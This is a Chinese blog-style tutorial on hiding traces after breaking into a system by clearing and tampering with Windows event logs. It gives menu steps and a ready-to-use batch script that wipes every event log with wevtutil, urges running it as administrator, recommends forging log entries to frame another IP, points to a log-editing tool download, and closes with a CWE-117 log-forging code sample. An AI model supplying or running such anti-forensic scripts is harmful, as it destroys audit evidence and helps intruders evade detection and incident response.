入侵系统后的清除痕迹：清除日志与篡改日志

        Windows系统每天都会自动添加日志，以记录管理员的一举一动。我们可以删除和查看这些日志，方法如下：

1.打开桌面，找到此电脑，右键选择管理

2.选择事件查看器，选择Windows日志

3.最后依次点击“应用程序”，“安全”，“Setup”，“系统”，“Forwarded Events”并依次清除日志，不要保存即可。

另附一键清除所有事件日志代码片（自取）：

@echo off

FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo All Event Logs have been cleared!
goto theEnd

:do_clear
echo clearing %1
wevtutil.exe cl %1
goto :eof

:noAdmin
echo Current user permissions to execute this .BAT file are inadequate.
echo This .BAT file must be run with administrative privileges.
echo Exit now, right click on this .BAT file, and select "Run as administrator".  
pause >nul

:theEnd
Exit

注意重点！！！上面的代码片以bat格式保存后，还要再右键选择以管理员身份运行，不然就会出现这种情况：

原图：知乎@红头发蓝胖子，https://zhuanlan.zhihu.com/p/706917575 ，版权声明

另外，在清除入侵痕迹时，篡改日志似乎比清除日志更加可靠，甚至可以伪造别的ip入侵现场。现在有EVT编辑器可篡改Windows系统日志，可具体到指定的任何一条，可篡改时间，可排序。百度搜索EVT编辑器，或直接跳转链接下载。http://eventlog.cn

CWE-117日志伪造漏洞：

下列Web应用程序代码会尝试从一个请求对象中获取整值，如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误信息。

String val = request.getParameter("val");
try {
  int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
log.info("Failed to parse val = " + val);
}
...